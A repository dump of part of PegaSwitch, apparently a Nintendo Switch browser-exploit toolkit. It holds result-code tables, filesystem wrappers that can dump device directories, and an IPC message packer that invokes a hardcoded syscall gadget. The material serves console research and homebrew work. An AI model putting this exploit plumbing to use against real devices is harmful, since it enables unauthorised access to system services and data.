replaceValue(nv) { 133 | if(this.isOk) { 134 | return new Ok(nv); 135 | } else { 136 | return this; 137 | } 138 | } 139 | 140 | /* 141 | Get the value if this is an Ok result, otherwise null. 142 | */ 143 | getValue() { 144 | return this.isOk ? this.value : null; 145 | } 146 | 147 | /* 148 | Get the error if this is an Err result, otherwise null. 149 | */ 150 | getError() { 151 | return !this.isOk ? this.value : null; 152 | } 153 | 154 | /* 155 | If this is Ok, return the value. Otherwise, return v. 156 | */ 157 | unwrapOrElse(v) { 158 | if(this.isOk) { 159 | return this.value; 160 | } else { 161 | return v; 162 | } 163 | } 164 | 165 | toString() { 166 | return "Result<" + (this.isOk ? "Ok" : "Err") + ">(" + this.value + ")"; 167 | } 168 | } 169 | 170 | class Ok extends Result { 171 | constructor(value) { 172 | super(true, value); 173 | } 174 | } 175 | 176 | class Err extends Result { 177 | constructor(value) { 178 | super(false, value); 179 | } 180 | } 181 | 182 | module.exports = {Result, Ok, NullOk: new Ok(), Err}; 183 | -------------------------------------------------------------------------------- /pegaswitch/exploit/ResultCode.js: -------------------------------------------------------------------------------- 1 | var modules = {}; 2 | var codes = {}; 3 | 4 | class ResultCode extends Error { 5 | constructor (code) { 6 | if (Array.isArray(code)) { 7 | code = code[0]; 8 | } 9 | 10 | var moduleNumber = code & 0xFF; 11 | var descriptionNumber = code >> 8; 12 | var moduleName = modules[moduleNumber] || 'unknown'; 13 | var descriptionString = codes[code] || 'unknown'; 14 | 15 | super('0x' + code.toString(16) + ' (' + descriptionString + ' in module ' + moduleName + ')'); 16 | 17 | this.code = code; 18 | this.resultCode = code; 19 | this.moduleNumber = moduleNumber; 20 | this.descriptionNumber = descriptionNumber; 21 | this.moduleName = moduleName; 22 | this.descriptionString = descriptionString; 23 | } 24 | 25 | toString() { 26 | return this.message; 27 | } 28 | } 29 | 30 | module.exports = ResultCode; 31 | 32 | // last updated: http://switchbrew.org/index.php?title=Error_codes&oldid=2536 33 | modules = { 34 | 1: 'Kernel', 35 | 2: 'FS', 36 | 3: 'NVIDIA', 37 | 5: 'NCM', 38 | 6: 'DD', 39 | 8: 'LR', 40 | 9: 'Loader', 41 | 10: 'CMIF (IPC command interface)', 42 | 11: 'HIPC (IPC)', 43 | 15: 'PM', 44 | 16: 'NS', 45 | 18: 'HTC', 46 | 21: 'SM', 47 | 22: 'RO userland', 48 | 24: 'SDMMC', 49 | 26: 'SPL', 50 | 100: 'ETHC', 51 | 101: 'I2C', 52 | 105: 'Settings', 53 | 110: 'NIFM', 54 | 114: 'Display', 55 | 116: 'NTC', 56 | 117: 'FGM', 57 | 120: 'PCIE', 58 | 121: 'Friends', 59 | 123: 'SSL', 60 | 124: 'Account', 61 | 128: 'AM', 62 | 126: 'Mii', 63 | 129: 'Play Report', 64 | 133: 'PCV', 65 | 134: 'OMM', 66 | 137: 'NIM', 67 | 138: 'PSC', 68 | 140: 'USB', 69 | 143: 'BTM', 70 | 147: 'ERPT', 71 | 148: 'APM', 72 | 154: 'NPNS', 73 | 157: 'ARP', 74 | 158: 'BOOT', 75 | 161: 'NFC', 76 | 162: 'Userland assert', 77 | 168: 'Userland crash', 78 | 203: 'HID', 79 | 206: 'Capture', 80 | 345: 'libnx', 81 | 651: 'TC', 82 | 800: 'General web-applet', 83 | 809: 'WifiWebAuthApplet', 84 | 810: 'Whitelisted-applet', 85 | 811: 'ShopN' 86 | }; 87 | 88 | var codestrs = [ 89 | '0x1C01 14 Invalid kernel capability descriptor', 90 | '0x4201 33 IsDebugMode isn\'t set.', 91 | '0xCA01 101 Invalid size', 92 | '0xCC01 102 Invalid address', 93 | '0xCE01 103 Address is NULL / buffer size is too small.', 94 | '0xD001 104 Memory full', 95 | '0xD201 105 Handle-table full.', 96 | '0xD401 106 Invalid memory state / invalid memory permissions.', 97 | '0xD801 108 When trying to set executable permission on memory.', 98 | '0xDC01 110 Stack address outside allowed range', 99 | '0xE001 112 Invalid thread priority.', 100 | '0xE201 113 Invalid processor id.', 101 | '0xE401 114 Invalid handle.', 102 | '0xE601 115 Syscall copy from user failed.', 103 | '0xE801 116 Invalid combination', 104 | '0xEA01 117 Time out? When you give 0 handles to svcWaitSynchronizationN.', 105 | '0xEC01 118 Canceled/interrupted [?]', 106 | '0xEE01 119 Exceeding maximum', 107 | '0xF001 120 Invalid enum', 108 | '0xF201 121 No such entry', 109 | '0xF401 122 Irq/DeviceAddressSpace/{...} already registered', 110 | '0xF601 123 Port remote dead', 111 | '0xF801 124 [Usermode] Unhandled interrupt', 112 | '0xFA01 125 Wrong memory permission?', 113 | '0xFC01 126 Reserved value', 114 | '0xFE01 127 Invalid hardware breakpoint', 115 | '0x10001 128 [Usermode] Fatal exception', 116 | '0x10601 131 Port max sessions exceeded', 117 | '0x10801 132 Resource limit exceeded', 118 | '0x41001 520 Process not being debugged', 119 | '0xE02 7 High byte in input u64 is zero.', 120 | "0x7802 60 The specified NCA-type doesn't exist for this title.", 121 | '0x7D202 1001 Process does not have RomFs', 122 | '0x7D402 1002 Title-id not found / savedata not found.', 123 | '0x13B002 2520 Gamecard not inserted', 124 | '0x13DA02 2541 Version check failed when mounting gamecard sysupdate partition?', 125 | '0x171402 2954 Invalid gamecard handle.', 126 | '0x196002 3248 Out of memory', 127 | '0x196202 3249 Out of memory', 128 | '0x1A4A02 3365 Out of memory', 129 | '0x235E02 4527 NCA-path used with the wrong titleID.', 130 | '0x250E02 4743 Corrupted NAX0 header.', 131 | '0x251002 4744 Invalid NAX0 magicnum.', 132 | '0x2EE202 6001 Invalid input', 133 | '0x2EE602 6003 Path too long', 134 | '0x2F5A02 6061 Offset outside storage', 135 | '0x313802 6300 Operation not supported', 136 | '0x320002 6400 Permission denied', 137 | '0x326602 6451 Missing titlekey(?) required to mount content', 138 | '0x3EA03 501 Invalid handle', 139 | '0x3EE03 503 Invalid memory mirror', 140 | "0xA05 5 NcaID not found. Returned when attempting to mount titles which exist that aren't *8XX titles, the same way *8XX titles are mounted.", 141 | '0xE05 7 TitleId not found', 142 | '0x1805 12 Invalid StorageId', 143 | '0xDC05 110 Gamecard not inserted', 144 | '0x17C05 190 Gamecard not initialized', 145 | '0x1F405 250 Sdcard not inserted', 146 | '0x20805 260 Storage not mounted', 147 | '0x408 2 Not initialized.', 148 | '0x608 3 Invalid control StorageID.', 149 | '0x808 4 Storage not found.', 150 | '0xA08 5 Access denied', 151 | '0xE08 7 Title is not registered.', 152 | '0x409 2 Maximum processes loaded.', 153 | '0x6609 51 Invalid memory state/permission', 154 | '0x6A09 53 Invalid NRR', 155 | '0xA209 81 Unaligned NRR address', 156 | '0xA409 82 Bad NRR size', 157 | '0xAA09 85 Bad NRR address', 158 | "0x1A80A 212 Bad magic (expected 'SFCO')", 159 | '0x20B 1 Size too big to fit to marshal.', 160 | '0x11A0B 141 Went past maximum during marshalling.', 161 | "0x1900B 200 Session doesn't support domains.", 162 | '0x25A0B 301 Remote process is dead.', 163 | '0x3D60B 491 IPC Query 1 failed.', 164 | '0x20F 1 Pid not found', 165 | '0x60F 3 Process has no pending events', 166 | '0x410 2 Title-id not found', 167 | '0xF010 120 Gamecard sysupdate not required', 168 | '0x1F610 251 Unexpected StorageId', 169 | '0x415 2 Not initialized.', 170 | '0x615 3 Max sessions', 171 | '0xC15 6 Invalid name (all zeroes)', 172 | '0x1015 8 Permission denied', 173 | '0x416 2 Address space is full', 174 | '0x616 3 NRO already loaded', 175 | '0x816 4 Invalid NRO header values', 176 | '0xC16 6 Bad NRR magic', 177 | '0x1016 8 Reached max NRR count', 178 | '0x1216 9 Unable to verify NRO hash or NRR signature', 179 | '0x80216 1025 Address not page-aligned', 180 | '0x80416 1026 Incorrect NRO size', 181 | '0x80816 1028 NRO not loaded', 182 | '0x80A16 1029 NRR not loaded', 183 | '0x80C16 1030 Already initialized', 184 | '0x80E16 1031 Not initialized', 185 | '0x41A 2 Argument is invalid', 186 | '0xD01A 104 All AES engines busy', 187 | '0xD21A 105 Invalid AES engine-id', 188 | '0x272 1 Invalid AppletResourceUserId', 189 | '0xCC74 102 Time not set', 190 | '0x287C 20 Argument is NULL', 191 | '0x2C7C 22 Argument is invalid', 192 | '0x3C7C 30 Bad input buffer size', 193 | '0x407C 32 Invalid input buffer', 194 | '0x3C9D 30 Address is NULL', 195 | '0x3E9D 31 PID is NULL', 196 | '0x549D 42 Already bound', 197 | '0xCC9D 102 Invalid PID', 198 | '0x3CF089 7800 Unknown/invalid libcurl error.']; 199 | 200 | codestrs.forEach((codestr) => { 201 | var match; 202 | if ((match = /^(0x[A-Fa-f0-9]+)\s+[0-9]+\s+(.+)$/gm.exec(codestr)) !== null) { 203 | var code = parseInt(match[1], 16); 204 | var descStr = match[2]; 205 | codes[code] = descStr; 206 | } 207 | }); 208 | -------------------------------------------------------------------------------- /pegaswitch/exploit/fs/IDirectory.js: -------------------------------------------------------------------------------- 1 | /* eslint no-redeclare: "off" */ 2 | 3 | var utils = require('../utils'); 4 | 5 | function IDirectory (sc, path, handle, fs) { 6 | this.sc = sc; 7 | this.fs = fs; 8 | this.handle = handle; 9 | this.path = path; 10 | } 11 | 12 | IDirectory.prototype.GetEntryCount = function () { 13 | return this.sc.ipcMsg(1).sendTo(this.handle).asResult().map((r) => [r.dataBuffer[0], r.dataBuffer[1]]); 14 | }; 15 | 16 | IDirectory.prototype.GetEntries = function (buf, numEntries) { 17 | if(buf.byteLength < 0x310 * numEntries) { 18 | throw new Error("buffer too small"); 19 | } 20 | return this.sc.ipcMsg(0).data(0).bDescriptor(buf, 0x310 * numEntries, 0).sendTo(this.handle).asResult(); 21 | }; 22 | 23 | IDirectory.prototype.DirList = function (indentation) { 24 | var s = ''; 25 | 26 | if (indentation !== undefined) { 27 | for (var i = 0; i < indentation; i++) { 28 | s += ' '; 29 | } 30 | } 31 | 32 | var entryCount = utils.trunc32(this.GetEntryCount().assertOk()); 33 | 34 | if (entryCount > 0) { 35 | var entryBuf = new Uint32Array(0x310 * entryCount); 36 | this.GetEntries(entryBuf, entryCount).assertOk(); 37 | for (i = 0; i < entryCount; i++) { 38 | var fn = this.path + utils.u8a2str(new Uint8Array(entryBuf.buffer, 0x310 * i, 0x300)); 39 | var eType = entryBuf[(0x310 * i + 0x304) >> 2]; 40 | if (eType === 1) { 41 | utils.log(s + ' ' + fn); 42 | } else { 43 | utils.log(s + ' ' + fn + '/'); 44 | var f = this.fs.OpenDir(fn + '/').assertOk(); 45 | try { 46 | f.DirList(indentation + 1); 47 | } finally { 48 | f.Close(); 49 | } 50 | } 51 | } 52 | } 53 | }; 54 | 55 | IDirectory.prototype.DirDump = function (dumpPath) { 56 | var entryCount = utils.trunc32(this.GetEntryCount().assertOk()); 57 | if (entryCount > 0) { 58 | var entryBuf = new Uint32Array(0x310 * entryCount); 59 | this.GetEntries(entryBuf, entryCount).assertOk(); 60 | for (var i = 0; i < entryCount; i++) { 61 | var fn = this.path + utils.u8a2nullstr(new Uint8Array(entryBuf.buffer, 0x310 * i, 0x300)); 62 | var eType = entryBuf[(0x310 * i + 0x304) >> 2]; 63 | if (eType === 1) { 64 | utils.log(' ' + fn); 65 | var fp = this.fs.OpenFile(fn).assertOk(); 66 | try { 67 | var buf = fp.ReadAll().assertOk(); 68 | this.sc.memdump(buf, fp.GetSize().assertOk(), dumpPath + fn); 69 | } finally { 70 | fp.Close(); 71 | } 72 | } else { 73 | utils.log(' ' + fn + '/'); 74 | var f = this.fs.OpenDir(fn + '/').assertOk(); 75 | try { 76 | f.DirDump(dumpPath); 77 | } finally { 78 | f.Close(); 79 | } 80 | } 81 | } 82 | } 83 | }; 84 | 85 | IDirectory.prototype.Close = function () { 86 | return this.sc.svcCloseHandle(this.handle); 87 | }; 88 | 89 | module.exports = IDirectory; 90 | -------------------------------------------------------------------------------- /pegaswitch/exploit/fs/IFile.js: -------------------------------------------------------------------------------- 1 | var utils = require('../utils'); 2 | 3 | function IFile (sc, handle) { 4 | this.sc = sc; 5 | this.handle = handle; 6 | } 7 | 8 | IFile.prototype.Write = function (offset, buf, size) { 9 | return this.sc.ipcMsg(1).aDescriptor(buf, size, 1).datau64(0, offset, size).sendTo(this.handle).asResult(); 10 | }; 11 | 12 | IFile.prototype.GetSize = function () { 13 | return this.sc.ipcMsg(4).sendTo(this.handle).asResult() 14 | .map((r) => [r.data[0], r.data[1]]); 15 | }; 16 | 17 | IFile.prototype.Read = function (size) { 18 | if(size instanceof ArrayBuffer || ArrayBuffer.isView(size)) { 19 | var m = size; 20 | size = m.byteLength; 21 | } else { 22 | var m = new ArrayBuffer(utils.trunc32(size)); 23 | } 24 | return this.sc.ipcMsg(0).datau64(0, 0, size).bDescriptor(m, size, 1).sendTo(this.handle).asResult().replaceValue(m); 25 | }; 26 | 27 | IFile.prototype.ReadAll = function () { 28 | var self = this; 29 | return this.GetSize().andThen((size) => { 30 | var fSize = utils.trunc32(size); 31 | var m = new ArrayBuffer(fSize); 32 | return self.sc.ipcMsg(0).datau64(0, 0, fSize).bDescriptor(m, fSize, 1).sendTo(self.handle).asResult().replaceValue(m); 33 | }); 34 | }; 35 | 36 | IFile.prototype.Close = function () { 37 | return this.sc.svcCloseHandle(this.handle); 38 | }; 39 | 40 | module.exports = IFile; 41 | -------------------------------------------------------------------------------- /pegaswitch/exploit/fs/IFileSystem.js: -------------------------------------------------------------------------------- 1 | var utils = require('../utils'); 2 | var Result = require('../Result'); 3 | 4 | function IFileSystem (sc, handle) { 5 | this.sc = sc; 6 | this.handle = handle; 7 | } 8 | 9 | IFileSystem.prototype.OpenDir = function (dir) { 10 | var path = utils.str2ab(dir); 11 | var self = this; 12 | return this.sc.ipcMsg(9).datau64(3).xDescriptor(path, path.byteLength, 0).sendTo(this.handle).asResult() 13 | .map((r) => new self.sc.IDirectory(self.sc, dir, r.movedHandles[0], self)); 14 | }; 15 | 16 | IFileSystem.prototype.CreateFile = function (path, size) { 17 | if (size === undefined) { 18 | size = 0x100; 19 | } 20 | var pbuf = utils.str2ab(path); 21 | var res = this.sc.ipcMsg(0).datau64(0, size).xDescriptor(pbuf, pbuf.byteLength, 0).sendTo(this.handle); 22 | return res.asResult(); 23 | }; 24 | 25 | IFileSystem.prototype.OpenFile = function (path) { 26 | var pbuf = utils.str2ab(path); 27 | var self = this; 28 | return this.sc.ipcMsg(8).datau32(3).xDescriptor(pbuf, pbuf.byteLength, 0).sendTo(this.handle) 29 | .asResult() 30 | .map((r) => new self.sc.IFile(self.sc, r.movedHandles[0])); 31 | }; 32 | 33 | IFileSystem.prototype.WriteBufferToFile = function (offset, buffer, size) { 34 | return this.sc.ipcMsg(1).aDescriptor(buffer, size, 1).data(0, offset, size).sendTo(this.handle).asResult(); 35 | }; 36 | 37 | IFileSystem.prototype.Close = function () { 38 | return this.sc.svcCloseHandle(this.handle); 39 | }; 40 | 41 | module.exports = IFileSystem; 42 | -------------------------------------------------------------------------------- /pegaswitch/exploit/index.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 55 | 56 | 57 |

58 | PegaSwitch 59 |
60 | by ReSwitched 61 |
62 |

63 | 64 | 65 | 66 | 67 | 68 | 69 | -------------------------------------------------------------------------------- /pegaswitch/exploit/ipc.js: -------------------------------------------------------------------------------- 1 | /* eslint camelcase: "off" */ 2 | /* eslint no-redeclare: "off" */ 3 | var sploitcore = require('./sploitcore'); 4 | var sploitMixin = require('./sploitMixin'); 5 | var svcMixin = require('./svc'); 6 | var utils = require('./utils'); 7 | var ResultCode = require('./ResultCode'); 8 | var Result = require('./Result'); 9 | 10 | function IPCMessage (sc, sender, cmdId) { 11 | this.sc = sc; 12 | this.sender = sender; 13 | this.pid = null; 14 | this.type = 4; 15 | this.cmdId = cmdId; 16 | this.resultCode = cmdId; 17 | this.success = this.resultCode === 0 || this.resultCode === undefined; 18 | this.dataBuffer = []; 19 | this.aDescriptors = []; 20 | this.bDescriptors = []; 21 | this.cDescriptors = []; 22 | this.xDescriptors = []; 23 | this.copiedHandles = []; 24 | this.movedHandles = []; 25 | this.objectDomainCommand = undefined; 26 | this.objectId = 0; 27 | this.copyBuffers = []; 28 | } 29 | 30 | IPCMessage.prototype.setType = function (t) { 31 | this.type = t; 32 | return this; 33 | }; 34 | 35 | IPCMessage.prototype.sendPid = function () { 36 | this.pid = true; 37 | return this; 38 | }; 39 | 40 | IPCMessage.prototype.setCmd = function (cmdId) { 41 | this.cmdId = cmdId; 42 | this.resultCode = cmdId; 43 | return this; 44 | }; 45 | 46 | IPCMessage.prototype.setResult = function (rescode) { 47 | this.setCmd(rescode); 48 | this.success = this.resultCode === 0; 49 | }; 50 | 51 | IPCMessage.prototype.data = function () { 52 | this.dataBuffer = []; 53 | for (var i = 0; i < arguments.length; i++) { 54 | var v = arguments[i]; 55 | if (v instanceof Array) { 56 | this.dataBuffer.push(v[0]); 57 | this.dataBuffer.push(v[1]); 58 | } else if(typeof(v) === "number") { 59 | this.dataBuffer.push(v); 60 | this.dataBuffer.push(0); 61 | } else { 62 | throw new Error("can't put in an IPC request: " + v); 63 | } 64 | } 65 | 66 | return this; 67 | }; 68 | 69 | IPCMessage.prototype.datau32 = function () { 70 | this.dataBuffer = []; 71 | for (var i = 0; i < arguments.length; i++) { 72 | this.dataBuffer.push(utils.trunc32(arguments[i])); 73 | } 74 | return this; 75 | }; 76 | 77 | IPCMessage.prototype.datau64 = function () { 78 | this.dataBuffer = []; 79 | for (var i = 0; i < arguments.length; i++) { 80 | var v = utils.pad64(arguments[i]); 81 | this.dataBuffer.push(v[0]); 82 | this.dataBuffer.push(v[1]); 83 | } 84 | 85 | return this; 86 | }; 87 | 88 | IPCMessage.prototype.dataArrayBuffer = function(ab) { 89 | this.dataBuffer = []; 90 | var u32 = new Uint32Array(ab); 91 | for(var i = 0; i < u32.length; i++) { 92 | this.dataBuffer[i] = u32[i]; 93 | } 94 | 95 | return this; 96 | }; 97 | 98 | IPCMessage.prototype.addDescriptor = function (da, addr, size, third) { 99 | if (addr instanceof ArrayBuffer || ArrayBuffer.isView(addr)) { 100 | var buf = addr; 101 | if (size === undefined) { 102 | size = buf.byteLength; 103 | } 104 | if (this.sender.isBrowser) { 105 | if (buf.addr === undefined) { 106 | buf.addr = this.sc.getArrayBufferAddr(buf); 107 | } 108 | addr = buf.addr; 109 | } else { 110 | addr = this.sender.malloc(size); 111 | this.copyBuffers.push({ 112 | addr, buf, size 113 | }); 114 | } 115 | } 116 | addr = utils.pad64(addr); 117 | size = utils.pad64(size); 118 | if (third !== undefined) { da.push([addr, size, third]); } else { da.push([addr, size]); } 119 | return this; 120 | }; 121 | 122 | IPCMessage.prototype.aDescriptor = function (addr, size, perm) { 123 | return this.addDescriptor(this.aDescriptors, addr, size, perm); 124 | }; 125 | 126 | IPCMessage.prototype.bDescriptor = function (addr, size, perm) { 127 | return this.addDescriptor(this.bDescriptors, addr, size, perm); 128 | }; 129 | 130 | /* 131 | type 0xA buffers have u16 length shenanigans 132 | */ 133 | IPCMessage.prototype.cDescriptor = function (addr, size, hasU16Length) { 134 | return this.addDescriptor(this.cDescriptors, addr, size, hasU16Length); 135 | }; 136 | 137 | IPCMessage.prototype.xDescriptor = function (addr, size, counter) { 138 | return this.addDescriptor(this.xDescriptors, addr, size, counter); 139 | }; 140 | 141 | IPCMessage.prototype.copyHandle = function (handle) { 142 | this.copiedHandles.push(utils.trunc32(handle)); 143 | return this; 144 | }; 145 | 146 | IPCMessage.prototype.moveHandle = function (handle) { 147 | this.movedHandles.push(utils.trunc32(handle)); 148 | return this; 149 | }; 150 | 151 | IPCMessage.prototype.toObject = function (object) { 152 | this.objectDomainCommand = 1; 153 | this.objectId = object; 154 | return this; 155 | }; 156 | 157 | IPCMessage.prototype.closeObject = function (object) { 158 | this.objectDomainCommand = 2; 159 | this.objectId = object; 160 | return this; 161 | }; 162 | 163 | IPCMessage.prototype.pack = function () { 164 | /* 165 | Structure of an IPC packet: 166 | 2*u32 header 167 | type 168 | number of descriptors 169 | length of raw data section / 4 170 | "flags for buf c descriptors" 171 | enable handle descriptor 172 | x descriptors 173 | a descriptors 174 | b descriptors 175 | w descriptors 176 | raw data section 177 | padding 178 | aligned data section 179 | padding 180 | c descriptor lengths 181 | c descriptors 182 | */ 183 | var alignedDataSection = []; 184 | 185 | var dataPayload = []; 186 | dataPayload.push(0x49434653); 187 | dataPayload.push(0); 188 | dataPayload.push(this.cmdId); 189 | dataPayload.push(0); 190 | for (var i = 0; i < this.dataBuffer.length; ++i) { 191 | dataPayload.push(this.dataBuffer[i]); 192 | } 193 | 194 | if (this.objectDomainCommand !== undefined) { 195 | alignedDataSection.push(this.objectDomainCommand | ((dataPayload.length * 4) << 16)); 196 | alignedDataSection.push(this.objectId); 197 | alignedDataSection.push(0); 198 | alignedDataSection.push(0); 199 | } 200 | 201 | alignedDataSection = alignedDataSection.concat(dataPayload); 202 | 203 | var cDescriptorSection = []; 204 | for (var i = 0; i < this.cDescriptors.length; ++i) { 205 | var v = this.cDescriptors[i]; 206 | var addr = utils.trunclt64(v[0], 48); 207 | var size = utils.trunclt32(v[1], 16); 208 | cDescriptorSection.push(addr[0]); 209 | cDescriptorSection.push((addr[1] & 0xFFFF) | (size << 16)); 210 | } 211 | 212 | var cDescriptorsWithU16Length = this.cDescriptors.filter((c) => c[2]); 213 | var u16Lengths = cDescriptorsWithU16Length.map((c) => c[1][0]); 214 | if(u16Lengths.length % 2 > 0) { 215 | u16Lengths.push(0); 216 | } 217 | var cDescriptorLengthsSection = Array.from(new Uint32Array(new Uint16Array(u16Lengths).buffer)); 218 | 219 | var descriptorSection = []; 220 | 221 | // handle descriptor 222 | if (this.pid || this.movedHandles.length > 0 || this.copiedHandles.length > 0) { 223 | descriptorSection.push((this.pid ? 1 : 0) | (this.copiedHandles.length << 1) | (this.movedHandles.length << 5)); // Handle descriptor 224 | if (this.pid) { 225 | descriptorSection.push(0); 226 | descriptorSection.push(0); 227 | } 228 | for (var i = 0; i < this.copiedHandles.length; ++i) { descriptorSection.push(this.copiedHandles[i]); } 229 | for (var i = 0; i < this.movedHandles.length; ++i) { descriptorSection.push(this.movedHandles[i]); } 230 | } 231 | 232 | // x descriptors 233 | for (var i = 0; i < this.xDescriptors.length; ++i) { 234 | var v = this.xDescriptors[i]; 235 | var addr = v[0]; 236 | var size = utils.trunc32(v[1]); 237 | var counter = v[2]; 238 | descriptorSection.push( 239 | (counter & 0x3F) | 240 | (((addr[1] & 0x70) >>> 4) << 6) | 241 | (counter & 0xE00) | 242 | ((addr[1] & 0xF) << 12) | 243 | size << 16 244 | ); 245 | descriptorSection.push(addr[0]); 246 | } 247 | 248 | // a & b descriptors 249 | for (var i = 0; i < this.aDescriptors.length + this.bDescriptors.length; ++i) { 250 | var v = i < this.aDescriptors.length ? this.aDescriptors[i] : this.bDescriptors[i - this.aDescriptors.length]; 251 | var addr = v[0]; 252 | var size = utils.pad64(v[1]); 253 | var perm = v[2]; 254 | descriptorSection.push(size[0]); 255 | descriptorSection.push(addr[0]); 256 | descriptorSection.push( 257 | perm | 258 | (((addr[1] & 0x70) >>> 4) << 2) | 259 | ((size[1] & 0xF) << 24) | 260 | ((addr[1] & 0xF) << 28) 261 | ); 262 | } 263 | 264 | var rawDataSection = []; 265 | var rawDataOffset = 2 + descriptorSection.length; // 2 header bytes + descriptors 266 | while (((rawDataSection.length + rawDataOffset) & 3) !== 0) { rawDataSection.push(0); } // padding 267 | var paddingLength = rawDataSection.length; 268 | rawDataSection = rawDataSection.concat(alignedDataSection); 269 | for (var i = 0; i < 4-paddingLength; ++i) { rawDataSection.push(0); } // 0x10 bytes total padding 270 | rawDataSection = rawDataSection.concat(cDescriptorLengthsSection); 271 | 272 | var headerSection = []; 273 | headerSection.push( 274 | this.type | // Request 275 | (this.xDescriptors.length << 16) | 276 | (this.aDescriptors.length << 20) | 277 | (this.bDescriptors.length << 24) | 278 | (0 << 28) // W descriptors count 279 | ); 280 | headerSection.push( 281 | (rawDataSection.length) | 282 | ((this.cDescriptors.length !== 0 ? this.cDescriptors.length + 2 : 0) << 10) | 283 | (((this.pid || this.movedHandles.length > 0 || this.copiedHandles.length > 0) ? 1 : 0) << 31) 284 | ); 285 | 286 | var buf = headerSection.concat(descriptorSection); 287 | buf = buf.concat(rawDataSection); 288 | buf = buf.concat(cDescriptorSection); 289 | 290 | for (var i = 0; i < buf.length; ++i) { buf[i] = buf[i] >>> 0; } 291 | 292 | return buf; 293 | }; 294 | 295 | IPCMessage.prototype.sendTo = function (handleName) { 296 | var handle = handleName; 297 | if (!(handleName instanceof Array) && typeof(handleName) !== "number") { 298 | handle = this.sender.getAutoHandle(handleName); 299 | } 300 | 301 | if (this.packed === undefined) { 302 | this.packed = this.pack(); 303 | } 304 | this.sc.ipcBuf.set(this.sc.emptyIpcBuf); 305 | this.sc.ipcBuf.set(this.packed); 306 | 307 | var self = this; 308 | 309 | if (this.sc !== this.sender) { 310 | this.sender.memcpyFromBrowser(this.sender.ipcBufAddr, this.sc.ipcBufAddr, 0x2000); 311 | this.copyBuffers.forEach((cr) => { 312 | self.sender.memcpyFromBrowser(cr.addr, cr.buf, cr.size); 313 | }); 314 | } 315 | 316 | var ret = this.sender.svcSendSyncRequestWithUserBuffer(this.sender.ipcBufAddr, 0x2000, handle); 317 | 318 | if(!ret.isOk) { 319 | if (handle !== handleName) { // Remote port dead -- our handle is bad now 320 | this.sender.killAutoHandle(handleName); 321 | } 322 | } 323 | 324 | if (this.sc !== this.sender) { 325 | this.sender.memcpyToBrowser(this.sc.ipcBufAddr, this.sender.ipcBufAddr, 0x2000); 326 | this.copyBuffers.forEach((cr) => { 327 | self.sender.memcpyToBrowser(cr.buf, cr.addr, cr.size); 328 | }); 329 | } 330 | 331 | if(ret.isOk) { 332 | return new IPCMessage(this.sc, this.sender).unpack(this.sc.ipcBuf, false); 333 | } else { 334 | return new IPCFailure(this.sc, this.sender, ret.getError()); 335 | } 336 | }; 337 | 338 | IPCMessage.prototype.asyncSendTo = function (handleName, timeout) { 339 | if (this.sc !== this.sender) { 340 | throw new Error('asyncSendTo is only supported on sploitcore'); 341 | } 342 | 343 | var handle = handleName; 344 | if (!(handle instanceof Array) && typeof(handle) !== "number") { 345 | // using auto handles with this asynchronous stuff would be a recipe for disaster 346 | handle = this.sc.getService(handleName); 347 | } 348 | 349 | if (this.packed === undefined) { 350 | this.packed = this.pack(); 351 | } 352 | 353 | var ipcBuf = new Uint32Array(0x2000 >> 2); 354 | ipcBuf.set(this.packed); 355 | 356 | var self = this; 357 | 358 | return this.sc.asyncCaller.call(this.sc.gadget([0x41, 0x04, 0x00, 0xD4, 0xC0, 0x03, 0x5F, 0xD6]), [this.sc.getArrayBufferAddr(ipcBuf), 0x2000, handle], timeout).then((ret) => { 359 | if (ret[0] === 0xf601 && handle !== handleName) { 360 | self.sc.svcCloseHandle(handle); 361 | } 362 | if (ret[0] !== 0) { 363 | return new IPCFailure(self.sc, self.sender, new ResultCode(ret)); 364 | } else { 365 | return new IPCMessage(self.sc, self.sender).unpack(ipcBuf, false); 366 | } 367 | }); 368 | }; 369 | 370 | IPCMessage.prototype.unpack = function (buf, toDomain) { 371 | this.buffer = buf; 372 | if(toDomain === undefined) { toDomain = false; } 373 | 374 | this.dataBuffer = this.data = []; 375 | this.aDescriptors = []; 376 | this.bDescriptors = []; 377 | this.cDescriptors = []; 378 | this.xDescriptors = []; 379 | this.copiedHandles = []; 380 | this.movedHandles = []; 381 | 382 | var xCount = (buf[0] >>> 16) & 0xF; 383 | var aCount = (buf[0] >>> 20) & 0xF; 384 | var bCount = (buf[0] >>> 24) & 0xF; 385 | var wCount = (buf[0] >>> 28); 386 | 387 | if (wCount > 0) { 388 | throw new Error("can't unpack W descriptors yet"); 389 | } 390 | 391 | var rawDataSectionLength = (buf[1] & 0x3FF) * 4; 392 | var alignedDataSectionLength = rawDataSectionLength - 0x10; 393 | var cDescriptors = ((buf[1] >>> 10) & 0x3) - 1; 394 | var hasHandleDescriptor = (buf[1] >>> 31) === 1; 395 | 396 | var pos = 2; 397 | 398 | if (hasHandleDescriptor) { 399 | var hd = buf[pos++]; 400 | var hasPid = !!(hd & 1); 401 | var copyCount = (hd >>> 1) & 0xF; 402 | var moveCount = hd >>> 5; 403 | if (hasPid) { this.pid = [buf[pos++], buf[pos++]]; } 404 | for (var i = 0; i < copyCount; ++i) { this.copiedHandles.push(buf[pos++]); } 405 | for (var i = 0; i < moveCount; ++i) { this.movedHandles.push(buf[pos++]); } 406 | } 407 | 408 | for (var i = 0; i < xCount; ++i) { 409 | var a = buf[pos++]; 410 | var b = buf[pos++]; 411 | var addr = [b, (((a >>> 12) & 0xF) | ((a >>> 2) & 0x70)) >>> 0]; 412 | var size = [a >>> 16, 0]; 413 | var counter = (a & 0xE3F) >>> 0; 414 | this.xDescriptors.push([addr, size, counter]); 415 | } 416 | 417 | for (var i = 0; i < aCount + bCount; ++i) { 418 | var a = buf[pos++]; 419 | var b = buf[pos++]; 420 | var c = buf[pos++]; 421 | var addr = [b, ((((c >>> 2) << 4) & 0x70) | ((c >>> 28) & 0xF)) >>> 0]; 422 | var size = [a, ((c >>> 24) & 0xF) >>> 0]; 423 | var perm = c & 3; 424 | if (i < aCount) { this.aDescriptors.push([addr, size, perm]); } else { this.bDescriptors.push([addr, size, perm]); } 425 | } 426 | 427 | var rawDataSectionOffset = pos; 428 | // padding 429 | if ((pos & 3) !== 0) { pos += 4 - (pos & 3); } 430 | 431 | var dataPayloadLength = alignedDataSectionLength; 432 | if (toDomain) { 433 | dataPayloadLength-= 0x10; 434 | 435 | this.objectDomainCommand = buf[pos] & 0xFF; 436 | 437 | if(this.objectDomainCommand === 2) { 438 | dataPayloadLength = 0; 439 | } 440 | 441 | var dataLength = buf[pos++] >> 16; 